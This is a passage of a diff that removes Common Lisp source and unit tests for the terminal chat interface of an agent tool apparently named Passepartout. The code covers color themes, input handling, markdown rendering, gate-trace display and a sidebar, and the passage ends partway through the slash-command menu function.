-    :catppuccin (:user "#89b4fa" :agent "#cdd6f4" :system "#f9e2af"
-                 :input "#cdd6f4" :timestamp "#585b70" :help "#94e2d5" :error "#f38ba8" :warning "#f9e2af"
-                 :connected "#a6e3a1" :disconnected "#f38ba8" :busy "#cba6f7" :idle "#6c7086"
-                 :gate-passed "#a6e3a1" :gate-blocked "#f38ba8" :gate-approval "#f9e2af"
-                 :hitl "#cba6f7"
-                 :tool-running "#cba6f7" :tool-success "#a6e3a1" :tool-failure "#f38ba8" :tool-output "#cdd6f4"
-                 :scroll-indicator "#94e2d5" :border "#45475a" :background "#1e1e2e"
-                 :rule-count "#94e2d5" :focus-map "#f9e2af"
-                 :dim "#6c7086" :highlight "#94e2d5" :accent "#89b4fa")
-    :monokai (:user "#a6e22e" :agent "#f8f8f2" :system "#e6db74"
-              :input "#f8f8f2" :timestamp "#75715e" :help "#66d9ef" :error "#f92672" :warning "#e6db74"
-              :connected "#a6e22e" :disconnected "#f92672" :busy "#ae81ff" :idle "#75715e"
-              :gate-passed "#a6e22e" :gate-blocked "#f92672" :gate-approval "#e6db74"
-              :hitl "#ae81ff"
-              :tool-running "#ae81ff" :tool-success "#a6e22e" :tool-failure "#f92672" :tool-output "#f8f8f2"
-              :scroll-indicator "#66d9ef" :border "#49483e" :background "#272822"
-              :rule-count "#66d9ef" :focus-map "#e6db74"
-              :dim "#75715e" :highlight "#66d9ef" :accent "#a6e22e"))
-  "Named theme presets. /theme <name> loads one into *tui-theme*.")
-
-(defvar *tui-theme-current-name* :dark
-  "Name of the currently active theme preset.")
-
-(defun theme-save ()
-  "Persist current theme to disk."
-  (let ((path (merge-pathnames ".cache/passepartout/theme.lisp"
-                               (user-homedir-pathname))))
-    (uiop:ensure-all-directories-exist (list path))
-    (with-open-file (out path :direction :output :if-exists :supersede :if-does-not-exist :create)
-      (format out ";; Passepartout TUI theme — auto-generated~%")
-      (format out "(setf passepartout.channel-tui::*tui-theme* '~s)~%" *tui-theme*)
-      (format out "(setf passepartout.channel-tui::*tui-theme-current-name* ~s)~%" *tui-theme-current-name*))
-    t))
-
-(defun theme-load ()
-  "Load persisted theme from disk. Called at startup."
-  (let ((path (merge-pathnames ".cache/passepartout/theme.lisp"
-                               (user-homedir-pathname))))
-    (when (uiop:file-exists-p path)
-      (ignore-errors (load path)))))
-
-(defun theme-switch (name)
-  "Switch to a named theme preset. Returns the preset name or nil if not found."
-  (let* ((key (intern (string-upcase (string name)) :keyword))
-         (preset (getf *tui-theme-presets* key)))
-    (when preset
-      (setf *tui-theme* (copy-list preset)
-            *tui-theme-current-name* key)
-      (theme-save)
-      (setf (st :dirty) (list t t t))
-      key)))
-
-(defun theme-color (role)
-  "Returns the Croatoan color for a semantic role.
-   Keyword or hex string values are returned as-is; hex strings are
-   converted to integers that Croatoan can process."
-  (let ((val (or (getf *tui-theme* role) :white)))
-    (if (and (stringp val) (> (length val) 0) (eql (char val 0) #\#))
-        (handler-case (parse-integer (subseq val 1) :radix 16)
-          (error () val))
-        val)))
-
-;; v0.8.0: TrueColor helpers
-(defun theme-hex-to-rgb (hex-string)
-  "Parse #RRGGBB to (values r g b). Returns (255 255 255) for invalid input."
-  (if (and (stringp hex-string) (= 7 (length hex-string)) (eql (char hex-string 0) #\#))
-      (handler-case
-          (let ((r (parse-integer (subseq hex-string 1 3) :radix 16))
-                (g (parse-integer (subseq hex-string 3 5) :radix 16))
-                (b (parse-integer (subseq hex-string 5 7) :radix 16)))
-            (values r g b))
-        (error () (values 255 255 255)))
-      (values 255 255 255)))
-
-(defun theme-init-truecolor ()
-  "Register hex colors from *tui-theme* with Croatoan's init-color."
-  (handler-case
-      (loop for (key val) on *tui-theme* by #'cddr
-            when (and (stringp val) (= 7 (length val)) (eql (char val 0) #\#))
-            do (multiple-value-bind (r g b) (theme-hex-to-rgb val)
-                 (init-color key (/ r 255.0) (/ g 255.0) (/ b 255.0))))
-    (error () nil)))
-
-(defun sidebar-toggle ()
-  "Toggle sidebar visibility. Sets dirty flags for full redraw."
-  (setf (st :sidebar-visible) (not (st :sidebar-visible)))
-  (setf (st :dirty) (list t t t)))
-
-(defun st (key) (getf *state* key))
-(defun (setf st) (val key) (setf (getf *state* key) val))
-
-(defun init-state ()
-  (setf *state*
-        (list :running t :mode :chat :connected nil :stream nil
-              :input-buffer nil :input-history nil :input-hpos 0
-              :messages (make-array 16 :adjustable t :fill-pointer 0)
-              :scroll-offset 0 :busy nil :cursor-pos 0
-              :pending-ctrl-x nil
-              :scroll-at-bottom t :scroll-notify nil
-              :streaming-text nil :url-buffer nil            ; v0.7.1
-              :collapsed-gates nil                          ; v0.7.2
-              :search-mode nil :search-query ""           ; v0.7.2
-              :search-matches nil :search-match-idx 0
-              :sidebar-visible nil                        ; v0.8.0
-              :minibuffer-mode nil :minibuffer-selected-idx 0 ; v0.8.0
-              :minibuffer-filter ""                         ; v0.8.0
-              :wizard-mode :provider-list                  ; v0.9.0
-              :wizard-selected-idx 0 :wizard-input ""        ; v0.9.0
-              :wizard-error nil                              ; v0.9.0
-              :wizard-providers nil :wizard-current-provider nil ; v0.9.0
-              :wizard-cascade '(:fg-prob nil :bg-prob nil :fg-det nil :bg-det nil) ; v0.9.0
-              :wizard-cascade-slot :fg-prob                  ; v0.9.0
-              :dirty (list nil nil nil))))
-
-(defun now ()
-  (multiple-value-bind (s m h) (get-decoded-time)
-    (declare (ignore s))
-    (format nil "~2,'0d:~2,'0d" h m)))
-
-(defun input-string ()
-  (coerce (reverse (st :input-buffer)) 'string))
-
-(defun input-insert-char (ch)
-  "Insert character at cursor position into the input buffer."
-  (let* ((buf (st :input-buffer))
-         (pos (or (st :cursor-pos) 0))
-         (s (coerce (reverse buf) 'string))
-         (new (concatenate 'string (subseq s 0 pos) (string ch) (subseq s pos))))
-    (setf (st :input-buffer) (reverse (coerce new 'list)))
-    (setf (st :cursor-pos) (1+ pos))))
-
-(defun input-delete-char ()
-  "Delete character before cursor position (standard backspace)."
-  (let* ((buf (st :input-buffer))
-         (pos (or (st :cursor-pos) 0)))
-    (when (and buf (> pos 0))
-      (let* ((s (coerce (reverse buf) 'string))
-             (new (concatenate 'string (subseq s 0 (1- pos)) (subseq s pos))))
-        (setf (st :input-buffer) (reverse (coerce new 'list)))
-        (setf (st :cursor-pos) (1- pos))))))
-
-(defun add-msg (role content &key gate-trace panel)
-  (vector-push-extend (list :role role :content content :time (now) :gate-trace gate-trace :panel panel) (st :messages))
-  ;; v0.7.0: notify when scrolled up and new msg arrives
-  (unless (st :scroll-at-bottom)
-    (setf (st :scroll-notify) t))
-  (setf (st :dirty) (list t t nil)))
-
-(defun queue-event (ev)
-  (bt:with-lock-held (*event-lock*) (push ev *event-queue*)))
-
-(defun drain-queue ()
-  (bt:with-lock-held (*event-lock*)
-    (let ((evs (nreverse *event-queue*)))
-      (setf *event-queue* nil) evs)))

lisp/channel-tui-view.lisp

@@ -1,760 +0,0 @@
-(in-package :passepartout.channel-tui)
-
-(defun view-status (win)
-  (clear win)
-  (box win 0 0)
-  (add-string win
-   (format nil " Passepartout  ~a  [~a]  msgs:~a  scroll:~a  Rules:~a~a"
-           (if (st :connected) "● Connected" "○ Disconnected")
-           (string-upcase (string (st :mode)))
-           (length (st :messages))
-           (if (> (st :scroll-offset) 0) (format nil "~a↑" (st :scroll-offset)) "0")
-           (or (st :rule-count) 0)
-           (if (st :streaming-text) "  [streaming]"
-               (if (st :busy) "  …thinking" "")))
-   :y 1 :x 1 :fgcolor (theme-color (if (st :connected) :connected :disconnected)))
-  ;; Second line: Focus map (left) + timestamp (right-aligned, v0.7.0)
-  (let ((focus-info (or (st :foveal-id) "")))
-    (when (and focus-info (> (length focus-info) 0))
-      (add-string win (format nil " [Focus: ~a]" focus-info)
-                  :y 2 :x 1 :fgcolor (theme-color :timestamp))))
-  (add-string win (format nil " ~a" (now))
-              :y 2 :x (max 1 (- (width win) 12))
-              :fgcolor (theme-color :timestamp))
-  (refresh win))
-
-;; v0.7.2: search-highlight — wrap matching text in **bold** for markdown
-(defun search-highlight (content query)
-  "Wrap occurrences of QUERY in CONTENT with **bold** markers."
-  (let ((lower-content (string-downcase content))
-        (lower-query (string-downcase query))
-        (result "") (pos 0))
-    (when (and query (> (length query) 0))
-      (loop
-        (let ((found (search lower-query lower-content :start2 pos)))
-          (unless found (return))
-          (setf result (concatenate 'string result
-                                   (subseq content pos found)
-                                   "**" (subseq content found (+ found (length query))) "**"))
-          (setf pos (+ found (length query)))))
-      (setf result (concatenate 'string result (subseq content pos)))
-      (if (string= result "") content result))))
-
-(defun view-chat (win h)
-  (clear win)
-  (box win 0 0)
-  (let* ((w (or (width win) 78))
-         (msgs (st :messages))
-         (total (length msgs))
-         (max-lines (- h 2))
-         (is-search (st :search-mode))
-         (y 1))
-    ;; v0.7.2: search mode header
-    (when is-search
-      (let* ((matches (st :search-matches))
-             (idx (st :search-match-idx))
-             (query (st :search-query))
-             (header (format nil "Search: ~d matches for '~a' (~d/~d) — Esc to exit"
-                            (length matches) query (1+ idx) (length matches))))
-        (add-string win header :y y :x 1 :n (1- w) :fgcolor (theme-color :highlight))
-        (incf y)
-        (decf max-lines)))
-    ;; Count visible messages from end, accounting for word wrap
-    (let* ((msg-count 0)
-           (lines-remaining max-lines))
-      (loop for i from (1- total) downto 0
-            while (> lines-remaining 0)
-            do (let* ((msg (aref msgs i))
-                       (role (getf msg :role))
-                       (content (getf msg :content))
-                       (time (or (getf msg :time) ""))
-                       (prefix (case role (:user "⬆") (:agent "⬇") (t "  ")))
-                       (content-show (if is-search
-                                        (search-highlight content (st :search-query))
-                                        content))
-                       (line-text (format nil "~a [~a] ~a" prefix time content-show))
-                      (wrapped (word-wrap line-text (- w 2)))
-                      (nlines (length wrapped)))
-                 (if (<= nlines lines-remaining)
-                     (progn (decf lines-remaining nlines) (incf msg-count))
-                     (setf lines-remaining 0))))
-      ;; Render from the correct starting message
-      (let* ((scroll-skip (st :scroll-offset))
-             (start (max 0 (- total msg-count scroll-skip))))
-        (loop for i from start below total
-              while (< y (1- h))
-              do (let* ((msg (aref msgs i))
-                        (role (getf msg :role))
-                        (content (getf msg :content))
-                        (time (or (getf msg :time) ""))
-                        (color (theme-color (case role (:user :user) (:agent :agent) (:system :system) (t :agent))))
-                        (prefix (case role (:user "⬆") (:agent "⬇") (t "  ")))
-                        (is-panel (getf msg :panel))
-                        (is-resolved (getf msg :panel-resolved))
-                        (content-show (if is-search
-                                         (search-highlight content (st :search-query))
-                                         content))
-                        (line-text (format nil "~a [~a] ~a" prefix time content-show))
-                        (wrapped (word-wrap line-text (- w 2))))
-                   ;; HITL panel: render with colored border
-                   (when is-panel
-                     (setf color (if is-resolved
-                                    (theme-color :dim)
-                                    (theme-color :hitl))))
-                   (dolist (line wrapped)
-                      (when (< y (1- h))
-                        (if (eq role :agent)
-                            (let ((segments (parse-markdown-spans line)))
-                              (setf y (render-styled win segments y 1 w)))
-                            (progn
-                              (add-string win line :y y :x 1 :n (1- w) :fgcolor color)
-                              (incf y)))))
-                    ;; v0.7.2: gate trace below agent messages
-                    (let ((gate-trace (getf msg :gate-trace)))
-                      (when (and gate-trace (not (member i (st :collapsed-gates))))
-                        (dolist (entry (gate-trace-lines gate-trace))
-                          (when (< y (1- h))
-                            (add-string win (car entry) :y y :x 3 :n (- w 4) :fgcolor (or (getf (cdr entry) :fgcolor) :dim))
-                            (incf y))))))))))
-  (refresh win))
-
-(defun view-input (win)
-  (let* ((text (input-string))
-         (w (or (width win) 78))
-         (pos (or (st :cursor-pos) 0))
-         (display-start (max 0 (- pos (1- w))))
-         (visible (subseq text display-start (min (length text) (+ display-start w)))))
-    (clear win)
-    (add-string win (format nil "~a " visible) :y 0 :x 0 :n (1- w) :fgcolor (theme-color :input))
-    (setf (cursor-position win) (list 0 (min (- pos display-start) (1- w)))))
-  (refresh win))
-
-(defun redraw (sw cw ch iw)
-  (destructuring-bind (sd cd id) (st :dirty)
-    (when sd (view-status sw))
-    (when cd (view-chat cw ch))
-    (when id (view-input iw))
-     (setf (st :dirty) (list nil nil nil))))
-
-(eval-when (:compile-toplevel :load-toplevel :execute)
-  (ql:quickload :fiveam :silent t))
-
-(defpackage :passepartout-tui-view-tests
-  (:use :cl :fiveam :passepartout)
-  (:export #:tui-view-suite))
-
-(in-package :passepartout-tui-view-tests)
-
-(def-suite tui-view-suite :description "TUI view rendering helpers")
-(in-suite tui-view-suite)
-
-(test test-char-width-ascii
-  "Contract 5: ASCII characters (< 128) have width 1."
-  (is (= 1 (char-width #\a)))
-  (is (= 1 (char-width #\Space)))
-  (is (= 1 (char-width #\@))))
-
-(test test-char-width-tab
-  "Contract 5: tab character has width 8."
-  (is (= 8 (char-width #\Tab))))
-
-(test test-char-width-cjk
-  "Contract 5: CJK characters have width 2."
-  (is (= 2 (char-width #\日))))
-
-(test test-char-width-null
-  "Contract 5: null has width 0."
-  (is (= 0 (char-width #\Nul))))
-
-(test test-markdown-bold
-  "Contract 7: parse-markdown-spans detects **bold**."
-  (let ((segments (parse-markdown-spans "hello **world**!")))
-    (is (= 3 (length segments)))))
-
-(test test-markdown-plain
-  "Contract 7: plain text returns single segment."
-  (let ((segments (parse-markdown-spans "plain")))
-    (is (= 1 (length segments)))
-    (is (string= "plain" (caar segments)))))
-
-(test test-markdown-url
-  "Contract 7: parse-markdown-spans detects URLs."
-  (let ((segments (parse-markdown-spans "see https://example.com for more")))
-    (is (>= (length segments) 2))
-    (is (find t segments :key (lambda (s) (getf (cdr s) :url))))))
-
-(test test-markdown-blocks
-  "Contract 8: parse-markdown-blocks detects code blocks."
-  (let* ((text (format nil "before~%```lisp~%(+ 1 2)~%```~%after"))
-         (segs (parse-markdown-blocks text)))
-    (is (= 3 (length segs)))
-    (let ((code (second segs)))
-      (is (eq t (getf code :code-block)))
-      (is (string= "lisp" (getf code :lang)))
-      (is (string= "(+ 1 2)" (string-trim '(#\Space #\Newline) (getf code :content)))))))
-
-(test test-markdown-blocks-no-close
-  "Contract 8: unclosed code block returns content."
-  (let* ((text (format nil "```~%unclosed code"))
-         (segs (parse-markdown-blocks text)))
-    (is (= 1 (length segs)))
-    (is (eq t (getf (first segs) :code-block)))))
-
-(test test-syntax-highlight
-  "Contract 9: syntax-highlight colors Lisp code."
-  (let ((segs (syntax-highlight "(defun foo (x) (+ x 1))" "lisp")))
-    (is (>= (length segs) 3))))
-
-(test test-syntax-highlight-keyword
-  "Contract 9: syntax-highlight colors keywords."
-  (let ((segs (syntax-highlight "(let ((x 1)) (+ x 2))" "lisp")))
-    (is (>= (length segs) 2))
-    (is (find :keyword segs :key (lambda (s) (getf (cdr s) :fgcolor))))))
-
-(test test-syntax-highlight-function
-  "Contract 9: syntax-highlight colors function calls."
-  (let ((segs (syntax-highlight "(+ 1 2)" "lisp")))
-    (is (>= (length segs) 2))
-    (is (find :function segs :key (lambda (s) (getf (cdr s) :fgcolor))))))
-
-(test test-gate-trace-lines-passed
-  "Contract 9: gate-trace-lines for passed gate."
-  (let ((lines (gate-trace-lines
-                '((:gate "path" :result :passed)))))
-    (is (= 1 (length lines)))
-    (is (eq :gate-passed (getf (cdar lines) :fgcolor)))))
-
-(test test-gate-trace-lines-blocked
-  "Contract 9: gate-trace-lines for blocked gate."
-  (let ((lines (gate-trace-lines
-                '((:gate "shell" :result :blocked :reason "rm")))))
-    (is (= 1 (length lines)))
-    (is (search "rm" (caar lines)))))
-
-(test test-gate-trace-lines-approval
-  "Contract 9: gate-trace-lines for approval gate."
-  (let ((lines (gate-trace-lines
-                '((:gate "network" :result :approval)))))
-    (is (= 1 (length lines)))
-    (is (search "HITL" (caar lines)))))
-
-(test test-init-state-has-collapsed-gates
-  "Contract v0.7.2: init-state includes :collapsed-gates field."
-  (passepartout.channel-tui::init-state)
-  (let ((cg (passepartout.channel-tui::st :collapsed-gates)))
-    (is (null cg))))
-
-(in-package :passepartout.channel-tui)
-
-(defun char-width (ch)
-  "Returns the terminal column width of character CH.
-ASCII < 128 = 1. CJK, fullwidth, emoji = 2. Combining marks = 0. Tab = 8."
-  (let ((code (char-code ch)))
-    (cond
-      ((= code 9) 8)
-      ((< code 32) 0)
-      ((<= code 127) 1)
-      ((<= #x4E00 code #x9FFF) 2)
-      ((<= #x3400 code #x4DBF) 2)
-      ((<= #x3040 code #x309F) 2)
-      ((<= #x30A0 code #x30FF) 2)
-      ((<= #xAC00 code #xD7AF) 2)
-      ((<= #xFF01 code #xFF60) 2)
-      ((<= #xFFE0 code #xFFE6) 2)
-      ((<= #x1F300 code #x1F9FF) 2)
-      ((<= #x2600 code #x27BF) 2)
-      ((<= #x0300 code #x036F) 0)
-      ((<= #x20D0 code #x20FF) 0)
-      ((<= #xFE00 code #xFE0F) 0)
-      (t 1))))
-
-(defun word-wrap (text max-width)
-  "Split TEXT into lines that fit within MAX-WIDTH columns.
-Word-breaks at spaces when possible; breaks mid-word if necessary.
-Respects CJK/emoji char widths via char-width."
-  (let ((lines nil)
-        (start 0)
-        (end (length text)))
-    (loop while (< start end) do
-      (let* ((col 0)
-             (pos start)
-             (last-break start))
-        (loop while (< pos end)
-              for width = (char-width (char text pos)) do
-          (when (char= (char text pos) #\Space)
-            (setf last-break pos))
-          (when (> (+ col width) max-width)
-            (return))
-          (incf col width)
-          (incf pos)
-          (when (>= pos end) (return)))
-        (let ((line-end (if (> pos start) pos (1+ start))))
-          (when (>= line-end end) (setf line-end end))
-          (push (subseq text start line-end) lines)
-          (setf start (if (and (< line-end end) (char= (char text line-end) #\Space))
-                         (1+ line-end)
-                         line-end)))))
-    (nreverse lines)))
-
-(in-package :passepartout.channel-tui)
-
-(defun parse-markdown-spans (text)
-  "Parse inline markdown. Returns list of (text . (:bold/:underline/:code/:url ...))."
-  (let ((results nil) (pos 0) (len (length text)))
-    (labels ((earliest (a b) (cond ((and a (or (null b) (< a b))) a) (b b))))
-      (loop
-        (when (>= pos len) (return))
-        (let* ((bold (search "**" text :start2 pos))
-               (code (search "`" text :start2 pos))
-               (italic (search "*" text :start2 pos))
-               (http (search "http://" text :start2 pos))
-               (https (search "https://" text :start2 pos))
-               (url-s (or https http)))
-          (flet ((pick (tag delim)
-                   (let ((end (search delim text :start2 (+ pos (length delim)))))
-                     (when end
-                       (push (cons (subseq text (+ pos (length delim)) end)
-                                   (case tag (:bold '(:bold t))
-                                        (:code '(:code t :bgcolor :dim))
-                                        (:underline '(:underline t))
-                                        (:url '(:url t))))
-                             results)
-                       (setf pos (+ end (length delim)))
-                       t)))
-                 (url-end (start)
-                   (or (position-if (lambda (c) (find c '(#\Space #\Newline #\Tab #\))))
-                                    text :start start)
-                       len)))
-            (let ((next (earliest (earliest (earliest bold code) italic) url-s)))
-              (cond ((and bold (eql bold next)) (unless (pick :bold "**") (incf pos 2)))
-                    ((and code (eql code next)) (unless (pick :code "`") (incf pos)))
-                    ((and italic (eql italic next)) (unless (pick :underline "*") (incf pos)))
-                    ((and url-s (eql url-s next))
-                     (let ((ue (url-end url-s)))
-                       (push (cons (subseq text url-s ue) '(:url t)) results)
-                       (setf pos ue)))
-                    (t (push (cons (subseq text pos) nil) results) (return))))))))
-    (nreverse results)))
-
-(defun render-styled (win segments y x w)
-  "Render markdown segments to Croatoan window. Returns next y."
-  (dolist (seg segments)
-    (when (>= y (height win)) (return y))
-    (let* ((text (or (car seg) ""))
-           (attrs (cdr seg))
-           (bold (getf attrs :bold))
-           (code (getf attrs :code))
-           (underline (getf attrs :underline))
-           (url (getf attrs :url))
-           (style-bits (append (when bold '(:bold))
-                               (when underline '(:underline)))))
-      (when style-bits
-        (add-attributes win (get-bitmask style-bits)))
-      (add-string win text :y y :x x :n (max 1 (- w x))
-                   :bgcolor (when code (theme-color :dim))
-                   :fgcolor (cond (url (theme-color :highlight))
-                                  (t (theme-color (or (getf attrs :role) :agent)))))
-      (when style-bits
-        (remove-attributes win (get-bitmask style-bits)))
-      (incf x (length text))))
-  (1+ y))
-
-(defun parse-markdown-blocks (text)
-  "Split text at ``` code block boundaries."
-  (let ((r nil) (p 0) (l (length text)))
-    (loop
-     (when (>= p l) (return))
-     (let ((bs (search "```" text :start2 p)))
-       (unless bs
-         (push (cons (subseq text p) nil) r)
-         (return))
-       (when (> bs p)
-         (push (cons (subseq text p bs) nil) r))
-       (let* ((ao (+ bs 3))
-              (le (or (position #\Newline text :start ao) l))
-              (lang (string-trim " \r\n\t" (if (< le l) (subseq text ao le) "")))
-              (cs (if (< le l) (1+ le) l))
-              (cp (search "```" text :start2 cs))
-              (ce (or cp l))
-              (content (string-trim "\r\n" (subseq text cs ce))))
-         (push (list :code-block t :lang lang :content content) r)
-         (setf p (if cp (+ cp 3) l)))))
-    (nreverse r)))
-
-(defun syntax-highlight (code lang)
-  "Highlight Lisp code: strings, comments, keywords, function calls."
-  (declare (ignore lang))
-  (let* ((r nil) (p 0) (l (length code))
-         (kw '("defun" "defvar" "defparameter" "let" "let*" "lambda" "if" "when" "unless"
-               "cond" "loop" "dolist" "dotimes" "progn" "prog1" "return"
-               "setf" "setq" "format" "and" "or" "not" "list" "cons"
-               "quote" "function" "declare" "ignore" "t" "nil")))
-    (flet ((wordp (c) (or (alphanumericp c) (find c "-*+/?!_=<>"))))
-      (loop
-       (when (>= p l) (return))
-       (let* ((ss (position #\" code :start p))
-              (sc (position #\; code :start p))
-              (sp (position #\( code :start p))
-              (next (min (or ss l) (or sc l) (or sp l))))
-         (when (> next p)
-           (push (cons (subseq code p next) nil) r)
-           (setf p next))
-         (when (>= p l) (return))
-         (cond
-          ((eql p ss)
-           (let ((e (or (position #\" code :start (1+ p)) l)))
-             (push (cons (subseq code p (min (1+ e) l)) '(:fgcolor :string)) r)
-             (setf p (min (1+ e) l))))
-          ((eql p sc)
-           (let ((e (or (position #\Newline code :start p) l)))
-             (push (cons (subseq code p e) '(:fgcolor :comment)) r)
-             (setf p e)))
-          ((eql p sp)
-           (push (cons "(" nil) r)
-           (incf p)
-           (let ((fe (loop for i from p below l for c = (char code i)
-                           while (wordp c) finally (return i))))
-             (when (> fe p)
-               (let ((fs (subseq code p fe)))
-                 (push (cons fs (list :fgcolor (if (member fs kw :test #'string=)
-                                                   :keyword :function))) r)
-                 (setf p fe)))))))))
-    (nreverse r)))
-
-(in-package :passepartout.channel-tui)
-
-(defun gate-trace-lines (trace)
-  "Convert gate-trace plist to display lines."
-  (let ((lines nil))
-    (dolist (entry trace)
-      (let* ((gate (getf entry :gate))
-             (result (getf entry :result))
-             (reason (getf entry :reason))
-             (name (or gate "unknown"))
-             (color (case result
-                      (:passed (theme-color :gate-passed))
-                      (:blocked (theme-color :gate-blocked))
-                      (:approval (theme-color :gate-approval))
-                      (t (theme-color :dim))))
-             (prefix (case result
-                       (:passed "  ✓ ")
-                       (:blocked "  ✗ ")
-                       (:approval "  → ")
-                       (t "  ? ")))
-             (text (format nil "~a~a~@[~a~]~@[~a~]"
-                           prefix name
-                           (when reason (format nil ": ~a" reason))
-                           (if (eq result :approval) " (HITL required)" ""))))
-        (push (cons text (list :fgcolor color)) lines)))
-    (nreverse lines)))
-
-(in-package :passepartout.channel-tui)
-
-(defun view-sidebar (win)
-  "Render 42-column sidebar with 7 panels: Gate Trace, Focus, Rules, Context, Files, Cost, Protection."
-  (clear win)
-  (setf (color-pair win) (list (theme-color :border) (theme-color :background)))
-  (box win 0 0)
-  (let* ((w (or (width win) 42))
-         (h (or (height win) 24))
-         (y 1)
-         (gate-trace (st :gate-trace))
-         (foveal-id (st :foveal-id))
-         (rule-count (or (st :rule-count) 0))
-         (context-usage (st :context-usage))
-         (modified-files (st :modified-files))
-         (session-cost (st :session-cost))
-         (block-counts (st :block-counts)))
-    ;; Panel 1: Gate Trace
-    (add-string win "── Gate Trace ──" :y y :x 1 :n (- w 2) :fgcolor (theme-color :accent))
-    (incf y)
-    (if gate-trace
-        (dolist (entry (gate-trace-lines gate-trace))
-          (when (< y (1- h))
-            (add-string win (car entry) :y y :x 2 :n (- w 4)
-                        :fgcolor (or (getf (cdr entry) :fgcolor) (theme-color :dim)))
-            (incf y)))
-        (add-string win "  (no trace)" :y y :x 2 :n (- w 4) :fgcolor (theme-color :dim)))
-    ;; Panel 2: Focus
-    (incf y)
-    (add-string win "── Focus ──" :y y :x 1 :n (- w 2) :fgcolor (theme-color :accent))
-    (incf y)
-    (add-string win (format nil "  ~a" (or foveal-id "(none)")) :y y :x 2 :n (- w 4) :fgcolor (theme-color :focus-map))
-    ;; Panel 3: Rules
-    (incf y 2)
-    (add-string win "── Rules ──" :y y :x 1 :n (- w 2) :fgcolor (theme-color :accent))
-    (incf y)
-    (add-string win (format nil "  Rules: ~d" rule-count) :y y :x 2 :n (- w 4) :fgcolor (theme-color :rule-count))
-    ;; Panel 4: Context gauge
-    (incf y 2)
-    (add-string win "── Context ──" :y y :x 1 :n (- w 2) :fgcolor (theme-color :accent))
-    (incf y)
-    (let* ((pct (or context-usage 0))
-           (bar-width 30)
-           (filled (min bar-width (floor (* pct bar-width) 100)))
-           (gauge-color (cond ((< pct 50) (theme-color :connected))
-                              ((< pct 80) (theme-color :warning))
-                              ((< pct 95) (theme-color :tool-running))
-                              (t (theme-color :error)))))
-      (add-string win (format nil "  [~a~a] ~d%"
-                              (make-string filled :initial-element #\█)
-                              (make-string (- bar-width filled) :initial-element #\░)
-                              pct)
-                  :y y :x 2 :n (- w 4) :fgcolor gauge-color))
-    ;; Panel 5: Files
-    (incf y 2)
-    (add-string win "── Files ──" :y y :x 1 :n (- w 2) :fgcolor (theme-color :accent))
-    (incf y)
-    (if modified-files
-        (dolist (f modified-files)
-          (when (< y (1- h))
-            (let ((fp (getf f :filepath))
-                  (added (getf f :lines-added))
-                  (removed (getf f :lines-removed)))
-              (add-string win (format nil "  ~a~@[ +~d~]~@[ -~d~]"
-                                      (subseq fp (max 0 (- (length fp) 30)))
-                                      (when (> added 0) added)
-                                      (when (> removed 0) removed))
-                          :y y :x 2 :n (- w 4) :fgcolor (theme-color :agent))
-              (incf y))))
-        (add-string win "  (no changes)" :y y :x 2 :n (- w 4) :fgcolor (theme-color :dim)))
-    ;; Panel 6: Cost
-    (incf y 2)
-    (add-string win "── Cost ──" :y y :x 1 :n (- w 2) :fgcolor (theme-color :accent))
-    (incf y)
-    (if session-cost
-        (progn
-          (add-string win (format nil "  Total: $~,4f" (getf session-cost :total))
-                      :y y :x 2 :n (- w 4) :fgcolor (theme-color :agent))
-          (incf y)
-          (add-string win (format nil "  Calls: ~d" (getf session-cost :calls))
-                      :y y :x 2 :n (- w 4) :fgcolor (theme-color :agent)))
-        (add-string win "  (no data)" :y y :x 2 :n (- w 4) :fgcolor (theme-color :dim)))
-    ;; Panel 7: Protection
-    (incf y 2)
-    (add-string win "── Protection ──" :y y :x 1 :n (- w 2) :fgcolor (theme-color :accent))
-    (incf y)
-    (if (and block-counts (> (getf block-counts :total) 0))
-        (let ((by-gate (getf block-counts :by-gate)))
-          (dolist (entry (subseq by-gate 0 (min (length by-gate) 6)))
-            (when (< y (1- h))
-              (add-string win (format nil "  ~a: ~d" (car entry) (cdr entry))
-                          :y y :x 2 :n (- w 4) :fgcolor (theme-color :gate-blocked))
-              (incf y))))
-        (add-string win "  (no blocks)" :y y :x 2 :n (- w 4) :fgcolor (theme-color :dim)))
-    (refresh win)
-    (- y 1)))
-
-(defun view-minibuffer (win)
-  "Render the bottom-anchored minibuffer panel. Dispatches on :minibuffer-mode."
-  (case (st :minibuffer-mode)
-    (:slash-menu (view-slash-menu win))
-    (:wizard (view-wizard-in-panel win))
-    (t nil)))
-
-(defvar *slash-commands* nil) ; forward declaration — defined in channel-tui-main
-
-(defun view-slash-menu (win)
-  "Render the slash-command menu: filter bar, filtered command list, selection highlight."
-  (clear win)
-  (setf (color-pair win) (list (theme-color :border) (theme-color :background)))
-  (box win 0 0)
-  (let* ((w (or (width win) 60))
-         (h (or (height win) 10))
-         (y 1)
-         (filter (or (st :minibuffer-filter) ""))
-         (commands passepartout.channel-tui::*slash-commands*)
-         (filtered (if (or (null filter) (string= filter ""))
-                       (mapcar (lambda (c) (list :index (position c commands) :cmd c)) commands)
-                       (let ((q (string-downcase filter)) (i 0) (r nil))
-                         (dolist (c commands (nreverse r))
-                           (when (or (search q (string-downcase (getf c :name)))
-                                     (search q (string-downcase (or (getf c :desc) ""))))
-                             (push (list :index i :cmd c) r))
-                           (incf i)))))
-         (sel (or (st :minibuffer-selected-idx) 0))
-         (max-visible (- h 3)))
-    ;; Header: filter bar
-    (add-string win (format nil " Commands") :y y :x 2 :n (- w 4) :fgcolor (theme-color :accent))
-    (incf y)
-    (add-string win (format nil " > ~a_" (if (> (length filter) 0) filter "/"))
-                :y y :x 2 :n (- w 4) :fgcolor (theme-color :input))
-    (incf y)
-    ;; Command list
-    (if filtered
-        (let* ((start (max 0 (- sel (floor max-visible 2))))
-               (end (min (length filtered) (+ start max-visible)))
-               (flat-i 0))
-          (loop for entry across (subseq (coerce filtered 'vector) start end)
-                for fi from start
-                for cmd = (getf entry :cmd)
-                do (let* ((name (getf cmd :name))
-                         (desc (getf cmd :desc))
-                         (selected (= fi sel))
-                         (fg (if selected (theme-color :highlight) (theme-color :agent))))
-                     (when selected
-                       (add-string win (make-string (- w 4) :initial-element #\Space) :y y :x 2 :n (- w 4)
-                                   :fgcolor (theme-color :dim) :bgcolor (theme-color :highlight)))
-                     (let ((prefix (if selected " > " "   ")))
-                       (add-string win (format nil "~a~a" prefix name) :y y :x 3 :n (min (- w 6) 25) :fgcolor fg)
-                       (when desc
-                         (add-string win (format nil " — ~a" desc) :y y :x 28 :n (min (- w 30) (length desc)) :fgcolor (theme-color :dim))))
-                     (incf y))))
-        (progn
